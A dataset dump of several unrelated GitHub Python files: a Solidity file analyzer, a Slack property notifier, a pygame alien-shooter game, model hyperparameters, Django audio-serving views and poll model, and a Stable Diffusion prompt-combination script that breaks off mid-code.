+{"seq_id":"16699959855","text":"import os\nfrom fileutils import findpaths\n\ndef analyze_solidity_file(file_path, check_structures):\n with open(file_path, 'r') as f:\n code = f.read()\n\n findings = []\n\n # Execute each check and collect findings\n for check_structure in check_structures:\n check_name = check_structure['name']\n check_func = check_structure['func']\n check_findings = check_func(code)\n\n for finding in check_findings:\n findings.append({\n \"file_path\": file_path,\n \"check_name\": check_name,\n \"line\": finding[\"line\"],\n \"message\": finding[\"message\"]\n })\n\n\n\n return findings\n\n# Example usage:\n# Assuming you have some check functions defined, e.g., check1, check2\n# check_structures = [\n# {\"name\": \"Check 1\", \"func\": check1},\n# {\"name\": \"Check 2\", \"func\": check2}\n# ]\n# findings = analyze_solidity_file('/path/to/solidity/file.sol', check_structures)\n# print(findings)\n\ndef analyze_solidity_dir(base_dir, check_structures):\n \"\"\"\n Analyzes all Solidity files in a given base directory based on the provided checks.\n\n Parameters:\n - base_dir (str): The base directory to search for Solidity files.\n - check_structures (list): A list of check structures to perform on each file.\n\n Returns:\n - all_results (dict): A dictionary containing the results of the checks for each file.\n \"\"\"\n\n paths = findpaths(base_dir, '.sol')\n all_results = {}\n\n for path in paths:\n all_results[path] = analyze_solidity_file(path, check_structures)\n\n return all_results\n\n# Example usage:\n# Assuming you have some check functions defined, e.g., check1, check2\n# check_structures = [\n# {\"name\": \"Check 1\", \"func\": check1},\n# {\"name\": \"Check 2\", \"func\": check2}\n# ]\n# results = analyze_solidity_dir('/path/to/base/directory', check_structures)\n# print(results)\n","repo_name":"lyrx/sbot","sub_path":"src/solidity_analyzer.py","file_name":"solidity_analyzer.py","file_ext":"py","file_size_in_byte":1896,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"53"}
+{"seq_id":"71734163047","text":"import requests\nimport logging\nfrom daft_slack import config\n\n\ndef _get_slack_message(daft_ad):\n slack_message = {\n 'attachments': [\n {\n \"color\": \"#36a64f\",\n \"pretext\": \"Hey, I found a new property!\",\n \"title\": daft_ad.formalised_address,\n \"title_link\": daft_ad.daft_link,\n \"fields\": [\n {\n \"title\": \"Price\",\n \"value\": daft_ad.price\n },\n {\n \"title\": \"Beds\",\n \"value\": daft_ad.bedrooms\n }\n\n ],\n \"image_url\": daft_ad.images[0] if daft_ad.images is not None else ''\n }\n ]\n }\n return slack_message\n\n\ndef send_errors(error):\n logging.error(error)\n requests.post(config.SLACK_URL_ERRORS, json={\n 'attachments': [\n {\n \"title\": error\n }\n ]\n })\n\n\ndef send_new_property_found_notification(daft_ad):\n requests.post(config.SLACK_URL, json=_get_slack_message(daft_ad))\n","repo_name":"girodav/daft-slack","sub_path":"daft_slack/utils/slack_utils.py","file_name":"slack_utils.py","file_ext":"py","file_size_in_byte":1136,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"6704511551","text":"import sys\nimport json\nimport pygame\nfrom bullet import Bullet\nfrom alien import Alien\nfrom time import sleep\n\n\ndef check_keydown_events(event, ai_settings, screen, stats, sb, ship, aliens,\n bullets):\n # * 按下事件\n if event.key == pygame.K_RIGHT:\n ship.moving_right = True\n elif event.key == pygame.K_LEFT:\n ship.moving_left = True\n elif event.key == pygame.K_SPACE:\n # 创建一个子弹,并将其加入到bullets编组中(少于限制数量内)\n fire_bullet(ai_settings, screen, ship, bullets)\n elif event.key == pygame.K_q:\n end_game(ai_settings, stats)\n elif event.key == pygame.K_p and not stats.game_active:\n start_game(ai_settings, screen, stats, sb, ship, aliens, bullets)\n\n # 上下移动\n elif event.key == pygame.K_UP:\n ship.moving_up = True\n elif event.key == pygame.K_DOWN:\n ship.moving_down = True\n\n\ndef check_keyup_events(event, ship):\n # * 松开事件\n if event.key == pygame.K_RIGHT:\n ship.moving_right = False\n elif event.key == pygame.K_LEFT:\n ship.moving_left = False\n # 上下移动\n elif event.key == pygame.K_UP:\n ship.moving_up = False\n elif event.key == pygame.K_DOWN:\n ship.moving_down = False\n\n\ndef check_events(ai_settings, screen, stats, sb, play_button, ship, aliens,\n bullets):\n # *监视键盘和鼠标事件\n for event in pygame.event.get():\n # 关闭游戏事件\n if event.type == pygame.QUIT:\n end_game(ai_settings, stats)\n # 键盘左右移动事件\n elif event.type == pygame.KEYDOWN:\n check_keydown_events(event, ai_settings,\n screen, stats, sb, ship, aliens, bullets)\n elif event.type == pygame.KEYUP:\n check_keyup_events(event, ship)\n # 开始游戏按钮\n elif event.type == pygame.MOUSEBUTTONDOWN:\n mouse_x, mouse_y = pygame.mouse.get_pos()\n check_play_button(ai_settings, screen, stats, sb, play_button,\n ship, aliens, bullets, mouse_x, mouse_y)\n\n\ndef update_screen(ai_settings, screen, stats, sb, ship, aliens, bullets,\n play_button):\n # *更新屏幕上的图像,并切换到新屏幕\n # 每次循环时都重绘屏幕\n screen.fill(ai_settings.bg_color)\n # 在飞船和外星人后面重绘所有子弹\n for bullet in bullets.sprites():\n bullet.draw_bullet()\n ship.blitme()\n aliens.draw(screen)\n # 显示得分\n sb.show_score()\n if not stats.game_active:\n play_button.draw_button()\n # 让最近绘制的屏幕可见\n pygame.display.flip()\n\n\ndef update_bullets(ai_settings, screen, stats, sb, ship, aliens, bullets):\n # * 更新子弹的位置和删除消失的子弹\n bullets.update()\n # 删除消失的子弹\n for bullet in bullets.copy():\n if bullet.rect.bottom <= 0:\n bullets.remove(bullet)\n check_bullet_alien_collisions(\n ai_settings, screen, stats, sb, ship, aliens, bullets)\n\n\ndef check_bullet_alien_collisions(ai_settings, screen, stats, sb, ship, aliens,\n bullets):\n # *检查是否有外星人被子弹击中\n # *击中则删除子弹和外星人\n collisions = pygame.sprite.groupcollide(bullets, aliens, True, True)\n if collisions:\n for aliens in collisions.values():\n stats.score += ai_settings.alien_points*len(aliens)\n sb.prep_score()\n check_high_score(stats, sb)\n\n # 如果外星人被消灭完则再新建一群外星人,并加速和提高等级\n if len(aliens) == 0:\n bullets.empty()\n ai_settings.increase_speed()\n # 提高等级\n stats.level += 1\n sb.prep_level()\n create_fleet(ai_settings, screen, ship, aliens)\n\n\ndef fire_bullet(ai_settings, screen, ship, bullets):\n # * 没达到限制,就发射一发子弹\n if len(bullets) < ai_settings.bullets_allowed:\n new_bullet = Bullet(ai_settings, screen, ship)\n bullets.add(new_bullet)\n\n\ndef create_fleet(ai_settings, screen, ship, aliens):\n # *创建外星人群\n # 计算外星人间距\n alien = Alien(ai_settings, screen)\n number_aliens_x = get_number_aliens(ai_settings, alien.rect.width)\n number_rows = get_number_rows(\n ai_settings, ship.rect.height, alien.rect.height)\n\n for row_number in range(number_rows):\n # 创建一群外星人\n # 创建第一行外星人\n for alien_number in range(number_aliens_x):\n # 创建一个外星人并将其加入当前行\n create_alien(ai_settings, screen, aliens, alien_number, row_number)\n\n\ndef get_number_aliens(ai_settings, alien_width):\n # *计算外星人间距\n\n avaiable_space_x = ai_settings.screen_width - 2 * alien_width\n number_aliens_x = int(avaiable_space_x / (2 * alien_width))\n return number_aliens_x\n\n\ndef create_alien(ai_settings, screen, aliens, alien_number, row_number):\n # *创建第一行外星人\n alien = Alien(ai_settings, screen)\n alien_width = alien.rect.width\n alien.x = alien_width + 2 * alien_width * alien_number\n alien.rect.x = alien.x\n alien.rect.y = alien.rect.height+2+alien.rect.height*row_number\n aliens.add(alien)\n\n\ndef get_number_rows(ai_settings, ship_height, alien_height):\n # *屏幕可容纳多少行外星人\n avaiable_space_y = (ai_settings.screen_height -\n (3 * alien_height) - ship_height)\n number_rows = int(avaiable_space_y / (2 * alien_height))\n return number_rows\n\n\ndef update_aliens(ai_settings, screen, stats, sb, ship, aliens, bullets):\n # *检查外星人是否到达边境,更新外星人群的设置\n check_fleet_edges(ai_settings, aliens)\n aliens.update()\n\n # 检测外星人和飞船之间的碰撞\n if pygame.sprite.spritecollideany(ship, aliens):\n ship_hit(ai_settings, screen, stats, sb, ship, aliens, bullets)\n\n # 检查是否有外星人到达屏幕底部\n check_aliens_bottom(ai_settings, screen, stats, sb, ship, aliens, bullets)\n\n\ndef change_fleet_direction(ai_settings, aliens):\n # * 将外星人群下移,并改变方向\n for alien in aliens.sprites():\n alien.rect.y += ai_settings.fleet_drop_speed\n ai_settings.fleet_direction *= - 1\n\n\ndef check_fleet_edges(ai_settings, aliens):\n # * 外星人到达边缘后采取措施\n for alien in aliens.sprites():\n if alien.check_edges():\n change_fleet_direction(ai_settings, aliens)\n break\n\n\ndef ship_hit(ai_settings, screen, stats, sb, ship, aliens, bullets):\n # *飞船撞击外星人事件\n # 被外星人撞到飞船数减一,并清空子弹和外星人\n if stats.ships_left > 0:\n stats.ships_left -= 1\n # 更新记分牌\n sb.prep_ships()\n aliens.empty()\n bullets.empty()\n # 新建外星人和飞船居中\n create_fleet(ai_settings, screen, ship, aliens)\n ship.center_ship()\n # 暂停\n sleep(0.5)\n else:\n stats.game_active = False\n pygame.mouse.set_visible(True)\n\n\ndef check_aliens_bottom(ai_settings, screen, stats, sb, ship, aliens, bullets):\n # * 检查外星人是否到达屏幕底部\n screen_rect = screen.get_rect()\n for alien in aliens.sprites():\n if screen_rect.bottom <= alien.rect.bottom:\n ship_hit(ai_settings, screen, stats, sb, ship, aliens, bullets)\n break\n\n\ndef check_play_button(ai_settings, screen, stats, sb, play_button, ship,\n aliens, bullets, mouse_x, mouse_y):\n # * 按下Play按钮开始游戏\n button_clicked = play_button.rect.collidepoint(mouse_x, mouse_y)\n if button_clicked and not stats.game_active:\n # 重置游戏设置\n ai_settings.initialize_dynamic_settings()\n # *隐藏光标\n start_game(ai_settings, screen, stats, sb, ship, aliens, bullets)\n\n\ndef start_game(ai_settings, screen, stats, sb, ship, aliens, bullets):\n # *开始游戏\n pygame.mouse.set_visible(False)\n # 重置游戏统计数据\n stats.reset_stats()\n stats.game_active = True\n # 重置计分牌图像\n sb.prep_score()\n sb.prep_high_score()\n sb.prep_level()\n sb.prep_ships()\n\n aliens.empty()\n bullets.empty()\n # 新建外星人和飞船居中\n create_fleet(ai_settings, screen, ship, aliens)\n ship.center_ship()\n\n\ndef check_high_score(stats, sb):\n # *检查是否诞生了最高分\n if stats.score > stats.high_score:\n stats.high_score = stats.score\n sb.prep_high_score()\n\n\ndef end_game(ai_settings, stats):\n # 保存最高分并结束游戏\n try:\n with open(ai_settings.high_score_path) as file_object:\n high_score = json.load(file_object)\n except FileNotFoundError:\n with open(ai_settings.high_score_path, 'w') as file_object:\n json.dump(stats.high_score, file_object)\n else:\n if high_score < stats.high_score:\n with open(ai_settings.high_score_path, 'w') as file_object:\n high_score = stats.high_score\n json.dump(high_score, file_object)\n sys.exit()\n","repo_name":"MONA00007/alien_invasion","sub_path":"game_functions.py","file_name":"game_functions.py","file_ext":"py","file_size_in_byte":9204,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"8952006587","text":"\"\"\"\nhyper-parameters:\n\"\"\"\nCUDA_NUM = 0 #GPU num\nCLASS = 'icd10_icd11' #class\nENTITY_NEIGH_MAX_NUM = 50 # max sampling neighbor num of entity\nENTITY_ATTVALUE_MAX_NUM = 50 #max sampling attributeValue num of entity\nKERNEL_NUM = 21\nSEED_NUM = 11037\nCANDIDATE_NUM = 50 # candidate number\n\nBATCH_SIZE = 64 # train batch size\nNEG_NUM = 5 # negative sampling num\nLEARNING_RATE = 6e-4 # learning rate\nMARGIN = 1 # margin\nEPOCH_NUM = 60# train epoch num\n\nINTERACTION_MODEL_SAVE_PATH = \"../Save_model/interaction_model_{}.bin\".format(CLASS) #interaction model save path.\n\n#load model(base_bert_unit_model) path\nBASIC_BERT_UNIT_MODEL_SAVE_PATH = \"../Save_model/\"\nBASIC_BERT_UNIT_MODEL_SAVE_PREFIX = \"MEDICAL_{}\".format(CLASS)\nLOAD_BASIC_BERT_UNIT_MODEL_EPOCH_NUM = 4\nBASIC_BERT_UNIT_MODEL_OUTPUT_DIM = 300\n\nGCN_MODEL_SAVE_PATH = \"../Save_model/\"\nGCN_MODEL_SAVE_PREFIX = \"gcn_model_{}\".format(CLASS)\n\n#load data path\nDATA_PATH = r\"../data/medical_base/{}/\".format(CLASS)\n\n\n#candidata_save_path\nTRAIN_CANDIDATES_PATH = DATA_PATH + 'train_candidates.pkl'\nTEST_CANDIDATES_PATH = DATA_PATH + 'test_candidates.pkl'\n\n#entity embedding and attributeValue embedding save path.\nENT_EMB_PATH = DATA_PATH + '{}_emb_{}.pkl'.format(BASIC_BERT_UNIT_MODEL_SAVE_PREFIX,LOAD_BASIC_BERT_UNIT_MODEL_EPOCH_NUM)\nENT_GCN_EMB_PATH = DATA_PATH + '{}_emb_{}.pkl'.format(GCN_MODEL_SAVE_PREFIX,'final')\nPATH_EMB_PATH = DATA_PATH + '{}_path_emb_{}.pkl'.format(BASIC_BERT_UNIT_MODEL_SAVE_PREFIX,LOAD_BASIC_BERT_UNIT_MODEL_EPOCH_NUM)\nPATH_SEP_EMB_PATH = DATA_PATH + '{}_path_sep_emb_{}.pkl'.format(BASIC_BERT_UNIT_MODEL_SAVE_PREFIX,LOAD_BASIC_BERT_UNIT_MODEL_EPOCH_NUM)\nATTRIBUTEVALUE_EMB_PATH = DATA_PATH + 'attributeValue_embedding.pkl'\nATTRIBUTEVALUE_LIST_PATH = DATA_PATH + 'attributeValue_list.pkl' #1-1 match to attributeValue embedding.\n\n#(candidate) entity_pairs save path.\nENT_PAIRS_PATH = DATA_PATH + 'ent_pairs.pkl' #[(e1,ea),(e1,eb)...]\n\n#interaction feature save filepath name\nNEIGHBORVIEW_SIMILARITY_FEATURE_PATH_1 = DATA_PATH + 'neighbor_view_similarity_feature_1.pkl' #1-1 match to entity_pairs\nNEIGHBORVIEW_SIMILARITY_FEATURE_PATH_2 = DATA_PATH + 'neighbor_view_similarity_feature_2.pkl'\nDESVIEW_SIMILARITY_FEATURE_PATH = DATA_PATH + 'des_view_similarity_feature.pkl' #1-1 match to entity_pairs\nPATH_DESVIEW_SIMILARITY_FEATURE_PATH = DATA_PATH + 'path_des_view_similarity_feature.pkl' #1-1 match to entity_pairs\nPATH_SEP_SIMILARITY_FEATURE_PATH = DATA_PATH + 'path_des_view_similarity_feature.pkl' #1-1 match to entity_pairs\nGCNVIEW_SIMILARITY_FEATURE_PATH = DATA_PATH + 'gcn_view_similarity_feature.pkl' #1-1 match to entity_gcn_pairs\n","repo_name":"Ulricab/Bert-Path","sub_path":"interaction_model/Param.py","file_name":"Param.py","file_ext":"py","file_size_in_byte":2611,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"2605613285","text":"from django.views import View\nfrom django.core.serializers import serialize\nfrom django.http import FileResponse, JsonResponse, HttpResponse\nfrom .models import Audio\nimport json\n\n\nclass AudioView(View):\n\n def get(self, request, *args, **kwargs):\n audio_name = kwargs['audio_name']\n return FileResponse(open(f'media/audio/{audio_name}', 'rb'))\n\n\nclass GetMediaFile(View):\n\n def get(self, request, *args, **kwargs):\n try:\n filename = request.path.strip('/')\n file = open(f'{filename}', 'rb')\n return FileResponse(file)\n except Exception:\n return HttpResponse(\n \"\"\"\n {} not found!\n \"\"\".format(request.path), status=501)\n\n\nclass GetDataView(View):\n def get(self, request, *args, **kwargs):\n max_results = self.request.GET.get(\"max_results\")\n title = self.request.GET.get(\"title\")\n author = self.request.GET.get(\"author\")\n tags = self.request.GET.get(\"tags\")\n initial_index = self.request.GET.get(\"initial_index\")\n\n if max_results is None or int(max_results) <= 0:\n max_results = 10\n else:\n max_results = int(max_results)\n\n if tags:\n tags = tags.split(\",\")\n\n if initial_index is None or int(initial_index) < 0:\n initial_index = 0\n else:\n initial_index = int(initial_index)\n\n queryset = Audio.objects.all()\n\n if title:\n queryset = queryset.filter(title__icontains=title)\n if author:\n queryset = queryset.filter(author__author__icontains=author)\n if tags:\n queryset = queryset.filter(tags__name__in=tags)\n\n results = list(queryset.order_by('id')[initial_index:][:max_results])\n serialized_results = []\n for result in results:\n serialized_result = {\n \"name\": result.title,\n \"artist\": result.author.author,\n \"url\": result.audio.url,\n \"tags\": list(result.tags.names()),\n \"id\": result.pk,\n \"cover_url\": result.cover_image.url,\n \"lazy_cover_url\": result.lazy_cover_image.url,\n }\n serialized_results.append(serialized_result)\n response = {\n \"results\": serialized_results,\n \"search\": self.request.GET}\n return JsonResponse(response, safe=False)\n","repo_name":"GaelQuesadilla/MelonMix","sub_path":"audioServer/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2431,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"53"}
+{"seq_id":"18230373423","text":"from django.db.models import CASCADE, ForeignKey, OneToOneField\nfrom django.utils.translation import gettext_lazy as _\n\nfrom voting.models import LivePoll\n\n\nclass ScorePointPoll(LivePoll):\n class Meta:\n verbose_name = _(\"Score Point Poll\")\n verbose_name_plural = _(\"Score Point Polls\")\n\n stage = OneToOneField(\n \"MatchStage\",\n on_delete=CASCADE,\n related_name=\"score_point_poll\",\n verbose_name=_(\"Match Stage\"),\n )\n winner = ForeignKey(\n \"ScorePointPollVoting\",\n on_delete=CASCADE,\n related_name=\"winning_polls\",\n verbose_name=_(\"Winner\"),\n null=True,\n blank=True,\n )\n\n def match(self):\n return self.stage.match.show.name\n\n def game(self):\n if self.stage.game:\n return self.stage.game.rules.name\n return None\n","repo_name":"just-paja/polocas-napadu-api","sub_path":"theatre_sports/models/score_point_poll.py","file_name":"score_point_poll.py","file_ext":"py","file_size_in_byte":846,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"53"}
+{"seq_id":"39400121967","text":"import sys\nimport os.path\nimport random as r\n\n# CONSTANTS\nSAMPLING = 64\nSAMPLINGEST = (1/5)\nFILENAME = os.path.basename(__file__)\n\n# FILE ARGUMENTS\nif \"-h\" in sys.argv or \"-help\" in sys.argv:\n print(\"\\nThis is a program designed to generate multiple prompts for us in an image-generating AI program,\")\n print(\"such as Stable Diffusion. It does so by taking a .txt file containing different possible items for\")\n print(\"each category within a prompt, then creating a prompt from each possible combination of one item\")\n print(\"from each category. It can also be used to regenerate a random subset of those possible combinations.\")\n \n print(\"\\nThe provided .txt file should be formatted as follows:\\n\")\n \n print(\" category1item1\")\n print(\" category1item2\\n\")\n\n print(\" category2item1\")\n print(\" category2item2\")\n print(\" category2item3\\n\")\n\n print(\" category3item1\")\n print(\" category3item2\")\n print(\" category3item3\")\n print(\" category3item4\")\n \n print(\"\\nThis program requires at least one argument, and accepts several optional others.\")\n if not \"-arg\" in sys.argv:\n print(\"View them with the -arg argument.\")\n exit()\n\nif \"-arg\" in sys.argv:\n if not \"-h\" in sys.argv and not \"-help\" in sys.argv:\n print(\"\\nThis program requires at least one argument, and accepts several optional others.\")\n print(\"Usage is as follows, in any order:\")\n \n print(\"> INFILE (REQUIRED)\")\n print(\">> \" + FILENAME + \" -if FILENAME.TXT\")\n print(\">>> Selects the file from which the possible items will be chosen.\")\n print(\">>> The selected file must exist, must not be blank, and must be formatted correctly.\")\n \n print(\"> OUTFILE (OPTIONAL)\")\n print(\">> \" + FILENAME + \" -of FILENAME.TXT\")\n print(\">> Names the file into which the created prompts will be saved.\")\n print(\">> The file will be overwritten if it already exists.\")\n \n print(\"> LABEL (OPTIONAL)\")\n print(\">> \" + FILENAME + \" -l\")\n print(\">> If there is a properly-formatted version of the infile with 'labeled' prepended to it,\")\n print(\" generates an additional outfile with 'labeled' prepended to it, which sumarizes the\")\n print(\" generated prompt for each line.\")\n print(\">> The labeled file must be identical to the infile but with a label for each line,\")\n print(\" separated from the rest of the line by a : and a space.\")\n \n print(\"> RANDOM (OPTIONAL)\")\n print(\">> \" + FILENAME + \" -r [NUMBER]\")\n print(\">> Lets you choose a number of prompts to randomly choose from all possible prompts.\")\n print(\">> If a number is not provided, the program will automatically choose 1 possible prompt.\")\n print(\">> If the provided number is greater than the number of possible prompts, the program\")\n print(\" will duplicate random lines from the prompt to reach the requested number of prompts.\")\n \n print(\"> TEST (OPTIONAL)\")\n print(\">> \" + FILENAME + \" -t\")\n print(\">> Causes the program to check the infile for correct formatting,\")\n print(\" rather than creating the actual combinations or writing to the outfile.\")\n \n print(\"> VERBOSE (OPTIONAL)\")\n print(\">> \" + FILENAME + \" -v\")\n print(\">> Causes the program to give status updates as it runs, as well as an estimate of the\")\n print(\" generation time for the final file (based on constants representing the number of\")\n print(\" sampling steps and estimated time for each step.\")\n \n print(\"> HELP (OPTIONAL)\")\n print(\">> \" + FILENAME + \"-h\")\n print(\">> \" + FILENAME + \"-help\")\n print(\">> Prints a help message instead of running the program.\")\n print(\">> Compatible with the -arg argument.\")\n \n print(\"> ARGUMENTS (OPTIONAL)\")\n print(\">> \" + FILENAME + \"-arg\")\n print(\">> Prints this argument list instead of running the program.\")\n print(\">> Compatible with the -h and -help arguments.\")\n exit()\n \ntest = False\nif \"-t\" in sys.argv:\n test = True\n\"\"\" If Test is true, the program will read the provided file and check for correct formatting,\nrather than performing the actual combinations or writing to the final file. By default,\nthis is off.\n\"\"\"\n\nverbose = False\nif \"-v\" in sys.argv:\n verbose = True\n\"\"\" If Verbose is true, the program will print status updates as it runs,\nand also give an estimate on how long the actual generation time will take to run,\nbased on the total number of combinations and the SAMPLING and SAMPLINGEST constants\nprovided at the top of the file. By default, this is off.\n\"\"\"\n\nrandom = 0\nif \"-r\" in sys.argv:\n try:\n random = int(sys.argv[sys.argv.index(\"-r\")+1])\n except:\n random = 1\n\"\"\" If Random is true, the program will generate a limited number of prompts from all possible combinations,\nallowing you to use it to randomly create prompts rather than creating all possible prompts. You can\nprovide a number of random prompts to create - if you don't, it will create only a single prompt.\n\"\"\"\n\nlabeled = False\nif \"-l\" in sys.argv:\n labeled = True\n\"\"\" If Labeled is true, the program will look for a file corresponding to the infile with Labeled prepended\nto it, and follow that along with the file to regenerate labels for each prompt it creates.\n\"\"\"\n \nif \"-if\" in sys.argv:\n try:\n infile = sys.argv[sys.argv.index(\"-if\")+1]\n \n \"\"\" Prepends 'labeled' to the provided infile, if Labeled is true.\n Works for files in a subfolder, e.g. if you have character-specific\n prompts in a lower folder from the main program.\"\"\"\n if labeled and \"/\" in infile:\n splitInFile = infile.split(\"/\")\n if os.path.exists(splitInFile[0]+\"/labeled\" + splitInFile[1][0].upper() + splitInFile[1][1:]):\n labelFile = splitInFile[0]+\"/labeled\" + splitInFile[1][0].upper() + splitInFile[1][1:]\n elif labeled and os.path.exists(\"labeled\" + infile[0].upper() + infile[1:]):\n labelFile = \"labeled\" + infile[0].upper() + infile[1:]\n else:\n #Turns off Labeled if it can't find the file, but continues to run.\n labeled = False\n print(\"Could not find a labeled text file. Running without labels.\")\n except:\n print(\"\\nPlease provide the name of the .txt file to read from, using the -if argument.\")\n print(\"Format as \" + FILENAME + \" -if FILENAME.TXT\")\n exit()\nelse:\n print(\"\\nPlease provide the name of the .txt file to read from, using the -if argument.\")\n print(\"Format as \" + FILENAME + \" -if FILENAME.TXT\")\n exit()\n\"\"\" Specify the name of the file that the program will read the prompt items from.\nIf not provided, the program will not run.\n\"\"\"\n \noutfile = \"prompts.txt\"\nif \"-of\" in sys.argv:\n try:\n outfile = sys.argv[sys.argv.index(\"-of\")+1]\n except:\n print(\"\\nNo filename provided. Using default name prompts.txt.\")\n\"\"\" Specify the name of the file that the program will write the generated prompts to.\nBy default, this is prompts.txt.\n\"\"\"\n\nappend = False\nif \"-a\" in sys.argv:\n append = True\n\ntry: \n \"\"\" Generates an array called prompts which contains each line of the infile.\n If Labeled is true, does the same thing for the labelFile.\n \"\"\"\n \n with open(infile) as f:\n prompts = [line.rstrip() for line in f]\n if labeled:\n with open(labelFile) as lf:\n labels = [label.rstrip() for label in lf]\n if prompts == []:\n # If prompts is empty - meaning that the file was empty - it exits the TRY block into the EXCEPT.\n exit()\n if labeled:\n if labels == [] or len(prompts) != len(labels):\n exit()\n if verbose:\n # Reports the succesful file read, if verbose.\n labelReport = \"\"\n if labeled:\n labelReport = \" and \" +labelFile\n print(\"\\nSuccessfully read from \" + infile + labelReport + \".\")\nexcept:\n # If there was an error, reports the location of the error and exits the program.\n print(\"\\nUnable to read from the provided .txt file. Please check that the name of the file is correct, and that the file is not blank.\")\n exit()\n\ntry:\n # Creates an empty array and a variable to track the point at which the last split occured.\n splitPrompts = []\n if labeled:\n splitLabels = []\n lastSplit = 0\n for lineNum in range(len(prompts)):\n if prompts[lineNum] == \"\":\n \"\"\" Counts through each line in the prompts array. Iif the line is an empty string,\n extracts the prompts array from the previous split up to the current line\n (not counting the empty line) and adds it to the splitPrompts array,\n then sets the new location of the last split.\n \"\"\"\n splitPrompts.append(prompts[lastSplit:lineNum]) \n if labeled:\n splitLabels.append(labels[lastSplit:lineNum])\n lastSplit = lineNum+1\n \n if splitPrompts[-1] == []:\n # If the last split was empty, removes it from the splitPrompts array.\n splitPrompts.pop(-1)\n if labeled:\n splitLabels.pop(-1)\n # Adds the last chunk of the prompts array.\n splitPrompts.append(prompts[lastSplit:])\n if labeled:\n splitLabels.append(labels[lastSplit:])\n if splitPrompts[-1] == []:\n # If the last split was empty, removes it from the splitPrompts array.\n splitPrompts.pop(-1)\n if labeled:\n splitLabels.pop(-1)\n \n \"\"\" At this point, splitPrompts is an array of subarrays,\n each subarray containing a chunk of lines from the infile\n which were separated by a blank line.\n \n If labeled is true, there is also splitLabels,\n which is similarly an array of subarrays contiaining\n chunks of lines from the labelfile separated by a\n blank line.\n \"\"\"\n \n numCats = len(splitPrompts)\n if numCats <= 1:\n \"\"\" Reports if there is only one subarray in splitPrompts, meaning that there were no\n blank links separating lines within the original file.\n \"\"\"\n print(\"Found only 1 category. Please check that your file is formatted correctly.\")\n print(\"Separate each category with a single blank line.\")\n print(\"Items within the category should be on a single line for each distinct item.\")\n print(\"If you have only one category, you can use your file directly.\")\n elif verbose:\n # Reports the successful split, if verbose. \n print(\"Successfully split \" + infile + labelReport + \" into \" + str(len(splitPrompts)) + \" categories.\")\nexcept:\n # If there was an error, reports the location of the error and exits the program.\n labelError = \"\"\n if labeled:\n labelError = \"or \" + labelFile\n print(\"\\nEncountered an error while splitting \" + infile + labelError + \" into categories.\")\n exit()\n\ntry:\n \"\"\" Runs through the number of items in each category. If Test is true, it prints them\n each out for the user to double-check - if Verbose is true, it instead prints the number\n of items in each category.\n As it does so, the program uses the acc variable to count the total number of\n combinations that will be generated.\n \"\"\"\n acc = 1\n for i in range(numCats):\n numItems = len(splitPrompts[i])\n acc *= numItems\n if test:\n # Prints each category with each item in it, if test is true.\n print(\"> Category \" + str(i+1))\n for j in range(numItems):\n if labeled:\n print(\">> \" + str(i+1) + \".\" + str(j+1) + \" \" + splitLabels[i][j])\n else:\n print(\">> \" + str(i+1) + \".\" + str(j+1) + \" \" + splitPrompts[i][j])\n elif verbose:\n # If test is not true, but verbose is, reports the number of items found in each category.\n print(\" Found \" + str(numItems) + \" items in category \" + str(i+1) + \".\")\nexcept:\n # If there was an error, reports the location of the error and exits the program.\n print(\"\\nEncountered an error while counting items per category.\")\n exit()\n \nif verbose:\n try:\n \"\"\" Estimates the total number of seconds it will take to generate the full prompt list by\n multiplying acc (or random) by the number of sampling steps and the estimated time that\n each step will take.\n \"\"\"\n if random:\n genSec = random * SAMPLING * SAMPLINGEST\n else:\n genSec = acc * SAMPLING * SAMPLINGEST\n # Divides down to get the number of minutes, hours, and days that the prompt list will take.\n genMin = genSec / 60\n genHours = genMin / 60\n genDays = int(genHours / 24)\n # Runs a modulo on hour and minutes to get remainders and round down to the nearest whole number.\n genHours = int(genHours % 24)\n genMin = int(genMin % 60)\n # Converts to a string depending on the total length.\n if genDays >= 365:\n genTime = str(int(genDays/365)) + \" years and \" + str(int((genDays % 365)/30)) + \" months\"\n elif genDays >= 32:\n genTime = str(int(genDays/30)) + \" months and \" + str(int((genDays % 30)/7)) + \" weeks\"\n elif genDays >= 10:\n genTime = str(int(genDays/7)) + \" months and \" + str(genDays % 7) + \" days\"\n elif genDays >= 3:\n genTime = str(genDays) + \" days\"\n elif genDays >= 1:\n genTime = str(genDays) + \" days and \" + str(genHours) + \" hours\"\n elif genHours >= 2:\n genTime = str(genHours) + \" hours and \" + str(genMin) + \" minutes\"\n elif genMin >= 2:\n genTime = str(genMin) + \" minutes\"\n else:\n genTime = str(genSec) + \" seconds\"\n \n # Prints the results.\n if random:\n print(\"Calulated \" + str(acc) + \" total combinations, of which \" + str(random) + \" will be generated.\\n\")\n else:\n print(\"Calculated \" + str(acc) + \" total combinations.\\n\")\n print(\"Estimating generation time with \" + str(SAMPLING) + \" sampling steps at an average of \" + str(SAMPLINGEST) + \" seconds per step...\")\n print(\"Estimated generation time: \" + genTime + \".\")\n if not random:\n print(\"\\nYou can reduce the generation time by removing one or more prompt categories,\")\n print(\"or by reducing the items in each category. Removing items from smaller categories\")\n print(\"will have a greater effect on the generation time.\")\n except:\n # If there was an error, reports the location of the error and exits the program.\n print(\"\\nEncountered an error while estimating generation time.\")\n exit()\n \nif not test:\n try:\n \"\"\" Sets prompts to be an empty array which will contain the generated prompts,\n as well as an array of 0s equal to the number of categories in length, which\n will be used to track which items are being used in the current prompt.\n If Labeled is true, runs the same operation on the labels.\n \"\"\"\n \n prompts = []\n if labeled:\n labelsOut = []\n pRead = [0] * numCats\n combining = True\n while combining:\n # Creates an empty string, which will have one item from each category added to it.\n temp = \"\"\n if labeled:\n tempLabels = \"\"\n for i in range(numCats):\n # Counts through each category in splitPrompts and appends the pRead[i]th item from it to temp, as well as a comma.\n temp += splitPrompts[i][pRead[i]] + \", \"\n if labeled:\n tempLabels += splitLabels[i][pRead[i]] + \", \"\n #adds all but the comma from temp as an entry into prompt.\n prompts.append(temp[:-2])\n if labeled:\n 